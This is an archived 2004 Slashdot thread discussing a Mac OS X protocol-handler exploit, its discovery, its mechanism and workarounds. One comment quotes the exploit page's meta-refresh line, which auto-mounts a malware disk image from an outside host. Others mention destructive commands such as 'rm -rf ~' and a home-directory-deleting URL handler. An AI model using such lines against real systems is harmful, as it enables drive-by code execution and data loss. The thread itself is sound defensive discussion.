Please create an account to participate in the Slashdot moderation system

 


Forgot your password?
Close
typodupeerror
×
OS X Businesses Operating Systems Security Apple

Yet Another Mac OS X Protocol Handler Exploit 155

Posted by pudge from the hooray dept.
Rosyna writes "Apple just can't get any breaks lately. First the help protocol handler exploit (which has been fixed), then the telnet handler exploit, and now an exploit for any arbitrary protocol handler: make your own, then exploit it. You can auto mount a volume in Mac OS X via the disk, afp, or ftp handlers (and probably others). Paranoid Android will help prevent exploitation until Apple fixes the problem." The hole here is that when a volume with an application on it is mounted, Apple registers the application's specified protocol handlers, without additional user action. Another option is to disable those handlers that allow volume mounting, but playing that game, obviously, isn't a guaranteed win in the long run.
This discussion has been archived. No new comments can be posted.

Yet Another Mac OS X Protocol Handler Exploit More

Yet Another Mac OS X Protocol Handler Exploit

Comments Filter:

  • MS influence? (Score:5, Funny)

    by Anonymous Coward on Saturday May 22, 2004 @10:40AM (#9224915)
    What'd they do, hire the security team away from Microsoft?

  • Fear Bill G, Fear! (Score:4, Funny)

    by Councilor Hart ( 673770 ) on Saturday May 22, 2004 @10:46AM (#9224934)
    Wow, if I were Billy boy, I would start worrying now.
    First, there is al this talk of switching to linux.
    And now even the virus writers are starting to pay attention to something else besides windows.
    Finally the end is near.
    Goodbye Billy...

    On the other hand, I do use Mac OS X.
    D'Oh...

    • Re:Fear Bill G, Fear! (Score:3, Insightful)

      by agibbs ( 729458 )
      I know you're being funny, but has anyone actually seen any malicious exploits out there for this? I haven't heard of any. Not that this lessens the gravity of this exploit, but it is interesting. Also, I don't believe this is a hole for viruses, again someone can do a hell of a lot of damage with a simple rm -rf ~ but I don't think this has the potential to open the door to worms viruses etc.

  • As an Apple Afficionado, I'm delighted. (Score:5, Insightful)

    by Anonymous Coward on Saturday May 22, 2004 @11:08AM (#9225041)
    I love my Apple computers and I adore OS X.

    That said, I'm immensley releived the floodgates to OS X exploitation have finally been thrown open.

    Allow me to explain.

    Too long Apple users have gloated (senselessley) that OS X is somehow more secure than Windows. This collective delusion has lulled everyone into a false sense of security. Being one of the few who bothers to "secure" his OS X installation, I am often jeered at for being paranoid - uneccesarily so, according to my detractors.

    But the truth is that no software sytem is perfect. This is the wake-up call Apple and its users to realise they need to watch out too. I relish this because taking action *now* too purge OS X of its deficiencies will prevent the pitiful scene common to Windows users. I don't want OS X exploited on a daily basis as happens with Windows. I want OS X to be secure!

    There will be much displeasure in the short-term, but that which does not kill us only makes us stronger.
    • No, it isn't perfect

      But I would still claim that OSX's security is better than XP's

    • Re:As an Apple Afficionado, I'm delighted. (Score:5, Insightful)

      by yotaku ( 26455 ) on Saturday May 22, 2004 @11:36AM (#9225181) Homepage
      Absolutely. And the same thing would happen with any other OS that was setup and used by anyone not in the computer elite. There will always be holes in the OS. But given careful administration, most are not too much of a problem. This is true for OS X, Windows, and *nix.

      I just hope, as you say that it will shut the Mac fans up about their "immune OS that will never suffer from security holes as windows does". Guess what, it will - and has.

    • Elegant troll (Score:2, Funny)

      by Anonymous Coward
      I'd clap, but this is the internet.
    • http://apple.slashdot.org/article.pl?sid=04/04/08 / 1922237&mode=thread&tid=126&tid=172

      See what happened to Intego when they spoke about a possible exploit and with a simple demo it was possible.

      The amazing is, there is a glitch actually in finder COULD BE used to do evil things but that company only showed (with demo) that its possible. They were labeled everything. Including coding viruses to sell their products.

      When a real virus ships for OS X coded by some lamer believe it will be big dea
      • At this point buying anti-virus software for OSX is a total waste of money. There still has yet to be a virus written for OS X. Chances are there won't be one for a long time to come if ever.

        Yes this is a vulnerability. Yes it is bad. But a virus program would not protect you from this without altering the way that your system runs.

        Does this need to be fixed? yes it does, but anti-virus software for OSX is still snake oil.

        • Well let me tell couple of things as explanation.

          As a tradition on every computer I bought since Amiga 500, I buy a antivirus.

          I bought this G5, converting from PC at November 2003, checking my receipts, I bought the Intego virusbarrier 10 days later after seeing Virex and Norton are pure crap. Also I have special feelings about Mcafee and Symantec from windows days :)

          I agree to your post but... Remembering back in the day how damn DASA (one of first amiga viruses) effected me, I decided to carry on my tr
          • Your approach is one that is a bit more cautious than mine in the anti-virus arena. Yes I know that I have Virex available to me and once there is an actual virus for OS X I will probably install it. However, until there is a need for it, I will stick with my firewall and backups.

            Right now buying and installing anti-virus software for OS X is like buying flood insurance in the Rockies. Until it actually happens or is needed, it seems like a horrible waste of money and resources.

      • The problem with Intego is that they have blown _that_ exploit out of proportion -- as very rightly pointed out in many places _that_ exploit (or similarly crafted one) could just as easily happen to on UNIX or Windows or *any* other OS.

    • Re:As an Apple Afficionado, I'm delighted. (Score:5, Interesting)

      by Anonymous Coward on Saturday May 22, 2004 @01:52PM (#9225813)
      I did not realize that "being secure" was a boolean.

      Too long Apple users have gloated (senselessley) that OS X is somehow more secure than Windows

      So something is either completely secure (along the lines of OpenBSD), or it is as open as Windows. And there is no middle ground there?

      Even with the current exploits, OS X is still significantly more secure than most Windows installs.

      Yes, I agree that OS X users need to take precautions and not just rely on the security of their machine. Even then, though, you can tell someone deciding between OS X and Windows "If you are reasonable careful on both platforms, you are still less likely to have problems with OS X, due to its security already in place."

    • Re:As an Apple Afficionado, I'm delighted. (Score:5, Insightful)

      by Jord ( 547813 ) on Saturday May 22, 2004 @02:32PM (#9225975)
      I love the way this comment was presented. Sounds like some finely crafted FUD more than anything else. Yes an exploit has been found in OSX. Does that make OSX as vulnerable as Windows, not even close, not even on the same planet.

      Windows has had so many exploits that I can't even keep track. One exploit, not even a root exploit (a very important distinction) does not make OSX as vulnerable as Windows. There still are no worms, no viruses attributed to OSX.

      Yes this was due. It was going to happen. But OSX is still infinitely more secure than windows and more than likely always will be. Lets not fly off half-cocked and make wild statements like this.

      • Re:As an Apple Afficionado, I'm delighted. (Score:1, Funny)

        by Anonymous Coward
        not even close, not even on the same planet

        Well, to be fair, they are on the same planet.

      • (Should I reply to a FUD-crying astroturfer with an OSX advert in his sig? Well, OK...)

        In general, there's two types of security issues:
        (1) Implemenation issues -- eg buffer overflows in MSRPC or OpenSSH or Outlook MIME parsing.

        (2) Design issues -- such as auto-installing ActiveX, HTML preview that automatically runs scripts, and so on. These are the typical Microsoftish Ease-Versus-Security issues.

        Windows has hit hard by both, so it's easy to confuse the two.

        The thing is, Apple really isn't better at #

        • Re:As an Apple Afficionado, I'm delighted. (Score:5, Insightful)

          by Jord ( 547813 ) on Saturday May 22, 2004 @06:09PM (#9226920)
          I suggest you take a look at track records before spouting off about who is better at what.

          I am not saying that OS X is perfect. Far from it, I am a programmer myself and I understand the realities of software design. However based on track records alone, OS X is far ahead of even the most current windows implementation. How many exploits are there that auto install software on OS X? None. How many worms are there for OS X? None. How many pieces of auto-installing spyware are there for OS X? None. How many viruses? None. OS X IS more secure that windows. It's not perfect but I will put my money behind the security in OS X any day.

          In any event, it was completely expected that the Windows zealots would come out of the woodwork as soon as the first vulnerability was found in OS X. Now it begins. We will see plenty of zealots crying how no operating system is safe. Guess what, windows is still a poorly written piece of garbage and no amount of throwing mud (or fud) is going to change that.

    • Re:As an Apple Afficionado, I'm delighted. (Score:5, Insightful)

      by mikedaisey ( 413058 ) on Saturday May 22, 2004 @05:26PM (#9226747) Homepage

      I agree with your sentiment--I want a secure system, and seeing it challenged early will help it be so. But the fact of the matter is that OSX ships by default many degrees of magnitude more secure than Windows does.

      Yes, this has resulted in some unnecessary gloating from Macheads, and it makes folks lazy with their security--that's unfortunate. But that doesn't diminish the security successes Apple's had with OS X.

  • This is a Launch Services exploit (Score:5, Interesting)

    by mst76 ( 629405 ) on Saturday May 22, 2004 @11:18AM (#9225082)
    For more information, see the Carbon docs [apple.com], in particular, the section "Registering Applications":
    The Finder automatically registers all applications as it becomes aware of them, such as when they are dragged onto the user's disk or when the user navigates to a folder containing them.
    and as we see with this exploit, whenever a volume is mounted. Doh! This is one of those handy MacOS features where the OS seems to find the right application as if by Magic even when the app is moved around. In this case though, it appears that too much Convenience has compromised Security. We can't really blame them though, I think this behaviour was inherited from Classic MacOS, before everyone was networked, and before security was such a big issue as it is today. The real test of Apple is how long it will take them to fix this hole.

    • Also uses meta-refresh (Score:5, Interesting)

      by tbmaddux ( 145207 ) * on Saturday May 22, 2004 @12:28PM (#9225415) Homepage Journal
      The Finder automatically registers all applications as it becomes aware of them, such as when they are dragged onto the user's disk or when the user navigates to a folder containing them.
      and as we see with this exploit, whenever a volume is mounted.
      IMO the volume should never be downloaded or mounted. The exploit page includes the following:
      <meta HTTP-EQUIV="refresh" content="0; URL=disk://www.geekspiff.com/unlinkedCrap/osxMalwa re.dmg">
      So first off this is another exploit of the "disk:" protocol handler. The arbitrary protocol depends on the automatic download and mounting of that DMG file through the handler. It's definitely a security hole for that volume to get auto-mounted through meta-refresh, and I question whether it should even be downloaded. At a bare minimum the download should obey the preferences set in Safari about whether or not to open "safe" downloads, and disk image autorun upon mounting should be deactivateable (if not disabled entirely).

      • Re:Also uses meta-refresh (Score:5, Insightful)

        by Graymalkin ( 13732 ) * on Saturday May 22, 2004 @01:00PM (#9225567)
        The disk: protocol is designed to automount images off the web, that is why it exists in the first place. Developers can offer up images off their sites users can mount directly so there's no need to download the image, install the app, and delete the image. Once the app is installed the user can just unmount it. It is a nice functionality but Apple needs to sandbox the process since an image mounted off the web should be untrusted.
      • I must point this out. This exploit is as much of an exploit as say... http: ... or telnet: ... or (gasp) ftp: . I could go on but frankly it's pointless. This is no exploit. It is simply the proper use of a protocol.

        If you want to be fair about it, to become a security risk, it would have to have access to something.

        As far as the dmg thing goes, a mounted dmg shows up on your desktop right away, A screen pops up showing it mounting, etc... There's no missing what is going on by even the simplest mac us

        • Re:Also uses meta-refresh (Score:5, Informative)

          by steeviant ( 677315 ) on Monday May 24, 2004 @06:03AM (#9236110)
          Actually, this IS an exploit.

          Using this technique, an attacker can cause a disk image to open on your machine, the OS will then faithfully install any arbitrary URL handlers that applications on that disk image say they can handle (for example a deletefile: URL handler), then the same website can forward you to a deletefile://~ URL, thus deleting your home directory.

          While it would be easy to tell that the web site is opening a disk image, and the application it starts would probably appear in the Dock, it doesn't make it easy to prevent the Application on the disk image from being executed using this method.
    • I think I just downloaded it. It doens't require a restart and is dated as a security update for monday.

    • Re:This is a Launch Services exploit (Score:5, Interesting)

      by aristotle-dude ( 626586 ) on Saturday May 22, 2004 @01:35PM (#9225741)
      This is not a launch services exploit. Get your facts straight. It is an exploit that uses the disk protocol in conjunction with the Launch services "Registering Applications" feature. Application registration is a feature that I do not want to see disappear.

      I would like to Apple to add a mandatory confirmation dialogue with warnings about possible security risks from mounting images from untrusted sources on any attempt to mount a disk image from the internet.

      This would give the user ample warning and a chance to prevent the exploit.

      Another alternative would be to do the above and include the option in the security prefs pane to enable/disable mounting of internet disk images.

  • Exploit doesn't effect Mozilla (Score:1, Interesting)

    by Anonymous Coward
    When I tried to run the proof-of-concept (linked to in the Paradoid Anderoid whitepaper on the exploit at unsanity. com/haxies/pa/whitepaper) using Mozilla 1.7b, DiskCopy gave the error "osxMalware.dmg" failed to mount due to error 2. (No such file or directory) and mozilla gave the error malware is not a registered protocol.. Maybe it's a safari-only 'sploit?

    • Re:Exploit doesn't effect Mozilla (Score:1, Interesting)

      by Anonymous Coward
      I use Safari and I got the same DiskCopy error; of course, I first had to enable the disk: URL scheme. I didn't get any other errors, from Safari or otherwise.

      The Paranoid Android whitepaper mentions that that turning off various schemes like disk, afp, ftp, isn't a good solution, but since Paranoid Android won't install for 10.2.8 (I tried), for now, it seems to be the only solution for me; I use RCDefaultApp to disable those schemes. Anyone got a way to turn off this custom URL scheme business for 10.2

  • It just works! (Score:5, Insightful)

    by OneDeeTenTee ( 780300 ) on Saturday May 22, 2004 @11:29AM (#9225150)
    Seriously though, once Linux becomes a real choice for average desktop users we'll be seeing Linux exploits as well.

  • Resetting "help:" to Help Viewer (Score:5, Informative)

    by TomSawyer ( 100674 ) on Saturday May 22, 2004 @11:35AM (#9225175) Homepage
    I'm posting this in case I'm not the only one who ran into trouble resetting "help:" to the Help Viewer. Before the security update came out I'd set the "help:" protocol to point to chess. If you want to point "help:" back to the Help Viewer you'll find the app in /System/Library/CoreServices/

    Fire up MisFox again and update the help protocol helper to /System/Library/CoreServices/Help Viewer.app

  • How this hole was discovered (Score:5, Informative)

    by mst76 ( 629405 ) on Saturday May 22, 2004 @11:40AM (#9225188)
    This issue was discovered on the MacNN forum [macnn.com], when they were discussing the previous exploit. The accepted workaround was downloading one of the utilities to change the protocol helpers, but the user kampl refused to have any non-Apple "security fix" on his system (He never acknowledged that the utilities were not sucurity fixes at all, just tools to change user preferences). His solution was to delete the HelpViewer app from his system. One bright member of the forum pointed out that that isn't enough, you could probably just stick the HelpViewer on the .dmg image and LaunchServices would find it there. Another poster realized this might work for any application if you bind it to a bogus protocol in the Info.plist file, so there is no need for HelpViewer at all. A third poster had a sample exploit coded in no time. Apple was promptly notified, so we can expect another fix soon (hopefully).
    • And the poster, smeger, was the one that wrote this whitepaper and paranoid android...

    • Re:How this hole was discovered (Score:5, Insightful)

      by Fulkkari ( 603331 ) on Saturday May 22, 2004 @12:31PM (#9225421)

      I'm a bit amazed on how well the Mac community have co-operated in finding these security flaws. Even though the flaws are always bad things, this just shows how strong the community actually is. And it sure feels good to be a part of it.

      • Re:How this hole was discovered (Score:5, Insightful)

        by Midnight Thunder ( 17205 ) on Saturday May 22, 2004 @12:54PM (#9225542) Homepage Journal
        this just shows how strong the community actually

        It does, but it also shows the importance of community. This is one thing that I feel should be taken into account when creating a product. If you can create a community around your product then people will dicuss what they like, what they don't like and generally people will talk about your product. All this needs be, to start with, is a help forum will provision for generalised discussion. If people are part of the community then they are likely to help push the product.
      • I have to admit, I find slashdot's schizophrenic reactions to these Mac security issues quite interesting. When I gave Apple 2 months that wasn't enough time and I was an awful evil person for informing people how to workaround the problem.

        But when people 0-day this stuff then it is suddenly okay and we don't mind it's protecting the users, yay for community!

        Good for these folks for working towards the bottom of all this stuff though. Yet another case of automagically changing settings to make life "eas

        • I have to admit, I find slashdot's schizophrenic reactions to these Mac security issues quite interesting.

          Slashdot is not one person. Therefore there will be different opinions about things.

          I'm not usually for releasing vulnerabilities directly into the public, but this makes an exception. The findings of these new vulnerabilities are results of one conclusion after an other. In the end: does it matter if the final announcement is posted if you can read it between the lines from the earlier posts yourse

          • Re:How this hole was discovered (Score:1, Funny)

            by Anonymous Coward
            Slashdot is not one person. Therefore there will be different opinions about things.

            It's not? But... but... I felt like we were really making a connection. I thought I was in love. *sob!* :'(

    • I have downloaded an Apple fix, labeled 23/05-2004 (That's the 24th of May 2004), totaling about 700KiB and it updated the Help app. I think most of these issues are fixed in that update.

  • Only 10.3? Weak (Score:1, Offtopic)

    by rixstep ( 611236 )
    Paranoid Android is for 10.3 only. Xcode comes with the ability to 'back-compile' to 10.1.5 and 10.2.7. Offering the other images, or one image that works on all, should be no bother. Offering only 10.3 is weak - very weak.

  • Same thing (Score:4, Informative)

    by Arkham ( 10779 ) on Saturday May 22, 2004 @12:25PM (#9225397)
    This is really the same exploit, with the same solution.

    1) Disable automount of downloaded files in Safari.

    2) Install the security update

    3) Disable telnet: disk: and disks: protocols

    That's it. No web page can exploit this arbitrary protocol problem if you do step 1 above. Step 2 fixes the help: issue, and step 3 fixes all other known issues.

    Why does this warrant 4 stories in 4 days? Are all the Windows weenies just that thrilled that there is an exploit on OSX?

    • Re:Same thing (Score:2, Informative)

      by Anonymous Coward
      You are missing afp: and ftp: from your list.

      See http://ozwix.dk/OpnAppFixer/testit.html for an example using ftp. The page isn't automated, so just click the ftp-link first, then "step 3".

    • Re:Same thing (Score:5, Informative)

      by prockcore ( 543967 ) on Saturday May 22, 2004 @11:46PM (#9228057)

      That's it. No web page can exploit this arbitrary protocol problem if you do step 1 above. Step 2 fixes the help: issue, and step 3 fixes all other known issues.

      Why does this warrant 4 stories in 4 days?

      It warranted 4 stories in 4 days because people like you misunderstand the problem.

      Step 1 doesn't fix anything.. disk: ftp: afp: protocols still allow automounting of volumes from a webpage.

      Step 2 fixes help and telnet, but those aren't the whole issue.

      Step 3 is a step in the right direction, but you'll also need to disable ftp: and afp: since they both can be used in the same way.

      Disabling ftp means you can't open any ftp volumes without jumping through hoops. I always thought it was stupid that safari didn't handle ftp directly though.

      The solution isn't an easy one, and Apple is going to have to do something that MS and Linux have dealt with in the past... sacrifice ease-of-use for security.
  • But what they're saying is that if I mount a Trojan Horse disk image, it will do bad things to my computer. Explain to me how this is worse than a Trojan horse program? It's possible to write a trojan horse for any platform. Only download software from places you trust.

    • Re:Maybe I'm missing something (Score:5, Informative)

      by HeghmoH ( 13204 ) on Saturday May 22, 2004 @01:17PM (#9225651) Homepage Journal
      No, that's not it at all. They're saying is that if you visit a properly-constructed web page, that page can cause your computer to execute arbitrary code without any further intervention on your part. You just go to the URL, and a few seconds later you've been owned.
    • One simple difference. A "normal" trojan horse program generally requires some human intervention, at least on OSX. This requires that you merely go to a malicious website and that is it. As opposed to the Office 2k4 trojan which required you to run a program you downloaded.

    • Re:Maybe I'm missing something (Score:4, Informative)

      by Amiga Lover ( 708890 ) on Saturday May 22, 2004 @02:11PM (#9225898)
      But what they're saying is that if I mount a Trojan Horse disk image, it will do bad things to my computer. Explain to me how this is worse than a Trojan horse program? It's possible to write a trojan horse for any platform. Only download software from places you trust.

      A trojan program is one thing.

      These exploits will, with one single click on a link somewhere in a browser, download an attacker's code and then run that code automatically.

      There's a big difference between being sent an app or downloading it, then running it in a separate action, and "click this link to see a photo of my cat" then within seconds have an attacker's code wiping all files you have permission to run.

      As is, a default OSX install is vulnerable to a malicious link in someone's slashdot .sig for example. Click the .sig, and run the attacker's code.
  • The solution I proposed [slashdot.org] on the previous article already takes this into account.

  • Much Ado About Not Much... (Score:5, Interesting)

    by lgw4 ( 2274 ) on Saturday May 22, 2004 @12:46PM (#9225495) Homepage
    I think this is mainly a PR stunt.
    <quote>
    Sample Exploit

    Ive written a sample exploit that delivers and executes its payload without user intervention and operates by registering its own URL scheme handler. Until Paranoid Android [unsanity.com], there was no way of protecting against this attack, which freaked me out enough to write Paranoid Android [unsanity.com].:)

    If you click the sample exploit link below, heres what will happen:

    • A disk image named MalwareDiskImage will be mounted on your desktop.
    • LaunchServices will read the Info.plist file of the application in this disk image automatically, and register the application as the default handler for URLs with a 'malware' scheme.
    • The webpage will wait 10 seconds, and then redirect to malware:unused, causing LaunchServices to launch the payload application within the disk image.
    • The application within the disk image will write a text file to the users home directory called owned.txt explaining that the machine has been exploited, will present an alert to the user, and will eject the disk image.

    Because this sample exploit registers its own URL scheme, none of the methods people had been using involving disabling certain scripts, moving Help.app or changing the 'help' URL scheme would protect against it. At this time, only Paranoid Android [unsanity.com] provides protection from it.

    benign sample exploit -->innocousPage.html [geekspiff.com]

    Portions of this sample exploit are based heavily on a prior sample exploit at insecure.ws [insecure.ws] Conclusions

    Until Apple fixes this vulnerability, you should install Paranoid Android [unsanity.com] and surf safely.

    Copyright Jason Harris, 2004, All Rights Reserved

    </quote>
    I'm using 10.3.3 and when I click on the sample exploit URI, nothing happens -- nothing. I've tried this thing 10+ times, scoured my HD for "owned.txt" and can find nothing. Of course, I installed the RCDefaultApp PreferencePane a couple of days ago and had already followed the suggestions posted by John Gruber on http://daringfireball.net but since Paranoid Android is the ONLY thing that can protect against this exploit, I'm at a loss as to explain why my machines aren't affected.

    • Re:Much Ado About Not Much... (Score:5, Informative)

      by Rosyna ( 80334 ) on Saturday May 22, 2004 @01:04PM (#9225587) Homepage
      the sample exploit is only for disk.

      Try one of these if you are so confident this is a PR stunt: http://ozwix.dk/OpnAppFixer/testit.html
      • Its ALWAYS PR stunt... One of few mac security companies demoed the problem with finder (Intego, mp3). remember the names they were called?

        Mac OSX users (not the old school ones remembering os 7-8-9) thinks their Mac is at NSA terminal level security, its the biggest threat to mac security itself!
      • Rosyna,

        Nothing new here. I clicked on every link on the page and the only thing I got was a copy of "Test.dmg" in my Downloads folder after clicking http://ozwicx.dk/OpnAppFixer/Test.dmg (the second link on the page), which of course I did not mount.

        I'm not debating whether or not this is a real security issue -- it is evident that it is. What I'm debating is whether or not Paranoid Android is the only way to protect oneself from it as is claimed on the Unsanity web site. It is not, and thus I'm still b

    • I'm at a loss as to explain why my machines aren't affected.

      Since you've already disabled the "disk:" protocol, the image isn't mounted and thus the sample exploit is not working for you. This does not mean that you are safe against "ftp:" and "afp:" exploits unless you've disabled those protocols as well. You can hunt and disable every such protocol and still not be sure you've gotten them all, or you can just use PA to get yourself a little warning for every URL scheme save those that are "trusted.

    • I have RCDefaultApp but I only disabled the disk: and disks:, ftp: is still set to finder. The first demo did nothing. The second one certainly did mount the disk image and opened the finder to show it, but I waited quite awhile (the disk appeared in less than 2 seconds) and nothing happened. Any clues why my machine seems immune?

  • Fixing without losing the functionality? (Score:4, Interesting)

    by Midnight Thunder ( 17205 ) on Saturday May 22, 2004 @01:08PM (#9225607) Homepage Journal
    Reading up on the feature that causes the problem, it looks like something in normal situations to be very useful. Rather than simply disabling this functionality, it would certainly seem better to find a solution the security issue. Maybe one would be to require admin permission before activating the URL helper, with a warning of what it would do?

    I had thought about requiring applications to be signed, and non-signed applications requiring extra permission, but since this issue is likey to arise from unsigned applications that the user would accept anyhow, would we just be gaining a false sense of security?

    I would be curious to read your ideas.
    • The best idea I have heard so far was proposed somewhere else on this discussion thread. Simply make disk: mounted images non-executable. That would require the user to drag an application off the disk image to "somewhere else" and then execute it manually.

      To me this seems to be the cleanest solution. No pop-up windows warning you of dire consequences (ala windows crap) just a simple can't execute this from here chance to the protocol handlers.

      Not my idea but I think it is the cleanest and most eleg

      • Re:Fixing without losing the functionality? (Score:4, Informative)

        by daveschroeder ( 516195 ) * on Saturday May 22, 2004 @02:27PM (#9225954)
        The best idea I have heard so far was proposed somewhere else on this discussion thread. Simply make disk: mounted images non-executable. That would require the user to drag an application off the disk image to "somewhere else" and then execute it manually.

        That's a really bad idea. This problem is easy to fix without losing functionality, or doing something stupid like disallowing execution on mounted disk images. The reason that's stupid is because this doesn't affect only 'disk:' mounted images: it affects afp, ftp, smb, webdav, nfs, and any method of mounting a volume. It's also really stupid because pretty much every single installer under the sun runs from a disk image. Having to copy it off first to even run it is a really, really, really bad idea because it would break the whole idea of disk images in the first place.

        Fortunately, there's a simple fix: instead of letting registration of arbitrary handlers happen by LaunchServices *before* an application is even launched - which is the key to this exploit - Apple should only allow registration after an application is launched. This would require actual user interaction to specifically launch an application. That alone would protect against this exploit.

        • Re:Fixing without losing the functionality? (Score:4, Interesting)

          by Jord ( 547813 ) on Saturday May 22, 2004 @02:45PM (#9226042)
          The original idea would be to place disk: mounted images into a non-executable sandbox. Not images that you download and mount. These are two different things. Currently they are not being treated differnetly and the suggestion was/is that they should be handled slightly differently.

          Trying to do one blanket change to fix everything is not the right answer in my opinion. The built-in protocols need to be looked at but sandboxing disk:// mounted images would solve the issue of maliciously created protocol handlers.

          I have tested a lot of software on my OSX machine and I do not recall anyone ever using the disk:// protocol for an installer.

          Forcing the user to launch an application just to register it's handlers would put a serious dent in the way that OSX handles applications. Personally that is a piece of functionality I would rather not lose.

          • Re:Fixing without losing the functionality? (Score:4, Interesting)

            by daveschroeder ( 516195 ) * on Saturday May 22, 2004 @04:36PM (#9226545)
            The original idea would be to place disk: mounted images into a non-executable sandbox.

            Ok, but this still won't work, because disk:// isn't the only thing affected. The exploit can affect ANY type of network mounted volume: afp, smb, ftp, webdav, nfs, etc. Are you telling me that you shouldn't be able to execute anything from ANY network volume? That would break loads of things. (And also, even though the disk:-mounted-images-in-a-sandbox idea is invalidated because of this, just because you have never used disk: doesn't mean other don't.)

            Therefore, consider a slightly scaled back version of my previous suggestion:

            Don't allow URL/URI helpers to automatically register before execution of the application from network mounted volumes. I don't really see any other way to solve this. To reiterate: just making disk: mounted images non-executable sandboxes DOES NOT solve this problem; you'd have to make ALL network volumes non-executable sandboxes, and that simply will not work. If URL/URI helpers are disallowed from registering automatically from network volumes only, the problem is solved: this exploit is killed, but any apps on local volumes are allowed to register as usual.

    • It's a tricky question. Functionality may indeed break in many cases. In that sense requiring password is not a bad idea. It can't however be the admin password as you suggested, because that would prevent different users from having different default applications for mail, http etc.

      A message box asking if the application should be registered as the default application for a protocol would be the best I can currently think of right now. Protocol handlers should also not be automatically searched from a mo

  • Running 10.2.8 (updated as of yesterday's fix from Apple) I can't get the .dmg file to even download when clicking on the example [geekspiff.com] exploit. I get the following error message:

    "osxMalware.dmg" failed to mount due to error 2. (No such file or directory)
    Did Apple's fix take care of this or is the exploit no longer available?
    • I'm running 10.2.8 also, and for the first test link he offered, I got the error message you mentioned, but I also got a popup in Mozilla which said the protocol was not registered. For the second link, I got no error message, but I got the "protocol not registered" popup. In both cases, no files were downloaded to my machine and nothing seemed to have happened.

      He mentioned that there was "anecdotal evidence" that users of Jaguar (10.2.x) are not affected by this vulnerability. Maybe it's a good thing we h

  • More Shoes (Score:3, Interesting)

    by rixstep ( 611236 ) on Saturday May 22, 2004 @01:53PM (#9225818) Homepage
    Can't this one escalate even further?

    Can't trojans that get onto Macs turn into bona-fide worms, distributing themselves via Address Book and HTML e-mail that does the 'disk://' download?

    • Re:More Shoes (Score:5, Interesting)

      by Amiga Lover ( 708890 ) on Saturday May 22, 2004 @02:17PM (#9225921)
      Can't trojans that get onto Macs turn into bona-fide worms, distributing themselves via Address Book and HTML e-mail that does the 'disk://' download?

      Theoretically yes.

      It's certainly possible to click on a link and have it run code that emails everyone in your address books with a mail that also has that same link in it. That would spread the link to many other people, many of whom would click on it.

      However as yet the code only runs in userland and can stay executing no longer than a current session. rebooting will kill it and it won't come back unless clicked again. Because of that its ability to drop a payload that will be useful later to intrude on the machine is limited.

  • The workarounds available at the moment (Score:5, Informative)

    by theolein ( 316044 ) on Saturday May 22, 2004 @02:58PM (#9226098) Journal
    There are a number of workarounds at the moment:

    1. The best is Paranoid Android linked to in the article itself. PA itself uses the APE kernel extension from Unsanity, however, and some people have reported problems with this.

    2. Another method is to use Internet Exploere, MisFox or MoreInternet to set the following protocol helpers which can mount volumes, to point to an innocuous application, such as Chess.
    fpt:
    afp:
    disk:
    disks:

    3. In a public environment where there are some automatcially mounted network shares such as in a university, school or company, you would also have to take into account protocols such as:
    nfs:
    webdav:
    smb:
    cifs:
    but these are less likey to be used in conjunction with this vulnerability as it would be more difficult to get one of these users to simultaneously go to a webpage that exploits this.
  • Dont know where these associations are stored, but that file should be readonly for staff, and require authentication when changed. This also catches changing the protocol handler.

  • the Snitch [obdev.at] seems to block bogus protocol handlers. as long as LS queries you about the "diskimages-handler", the connection can be blocked, and the image fails to mount. camino gives me "malware is not a registered protocol" :) strange tho--in the FA they have the link to the ftp exploit as well. i know very well that ftp is allowed by LS to connect whenever/wherever so i tried that exploit. it didnt work either, not clear why. so with the apple update and Little Snitch, mac users should be safe...
    but fo

  • The reaction of my friends (Score:5, Funny)

    by Go Aptran ( 634129 ) on Saturday May 22, 2004 @08:51PM (#9227532)
    My Windows using friends keep calling and consoling me... I think they expect me to kill myself, or something.

  • Paranoid Android -- 1.0, not 1.1!! (Score:4, Informative)

    by Trillan ( 597339 ) on Sunday May 23, 2004 @03:30AM (#9228616) Homepage Journal

    While Paranoid Android 1.1 is better than nothing, it allows some exploits to slip through. Basically, it allows ftp links to mount in the Finder. Once this is done, the Finder will register any URL handlers present. That can include URL handlers that Paranoid Android trusts.

    All of this is even after the 5-24 security update is installed, of course.

    Apple really need to do something about Launch Services. I think the best bet would be to mark newly discovered URL schemes as untrusted. When the user tries to run an untrusted scheme for the first time, warn them about it.

  • This exploit works equally good, or even better, with ordinary zip files. Safari auto-expands these on-the-fly, so it's much faster than mounting a disk image. You can also use .sit or .hqx or whatever; the important thing is that LaunchServices registers the application.

    This is how I think Apple could solve this:
    When an application first is detected, all its URL schemes is un-flagged. The first time the user launches that app, they get flagged, and can be used freely.

    If the user (or the exploit!) tries t
    • If the user (or the exploit!) tries to use these URL schemes before they're flagged, a dialog appears, requesting the user to accept the launch before opening the URL.

      I do not have any better solution, but as the sky is overcast today I'm gonna complain about yours anyhow.

      You are not alone in suggesting that the user should confirm what should happen in a dialog/pop-up/what-not. The problems are

      a) There are too many clueless users out there, who have no idea of what they are doing.
      b) Even if you are f

      • There are too many clueless users out there, who have no idea of what they are doing.

        Okay, fair enough. Then instead of displaying a dialog box, let's disable the URL schemes completely until the first launch of the app. :-)
        • Then instead of displaying a dialog box, let's disable the URL schemes completely until the first launch of the app.

          I like that! In other words: MacOS X will be the safest system in the world until you actually start using it.

  • Yeah, and that brings the total number up to two or three exploits. Let's all just switch back to Windows--it's obviously a superior, more secure operating system!

    Nice freakin' headline.

  • Little Snitch (Score:2, Interesting)

    by oDDmON oUT ( 231200 )
    [disclaimer:not affiliated with obdev, just a satisfied user]

    Anyone surfing without an application sensitive firewall should catch a clue.

    The first time Mozilla tried to mount a sample exploit .dmg Little Snitch [obdev.at] popped up wanting to know if this should be allowed.

    Granted, your run of the mill user would likely click through allowing the mount, but they would probably do the same with Paranoid Android, and LS covers all applications trying to establish external connections, a real plus in todays wired wor

  • My experience trying this on Jaguar (10.2.8) (Score:4, Informative)

    by crazyphilman ( 609923 ) on Sunday May 23, 2004 @09:25PM (#9234377) Journal
    Ok, my configuration:

    Mac OS/X 10.2.8, with all services turned off and the firewall turned on, denying everything, and all Directory Access protocols turned off (what can I say, I'm a little paranoid). I also have a hardware firewall between my laptop and my cable modem. Belt and suspenders, right?

    I don't use Safari because it doesn't seem to be too stable on my machine for some reason (gypsy curse?). If I install it, it crashes on some of the sites I visit (I think this is a Java issue of some kind). So I deleted it.

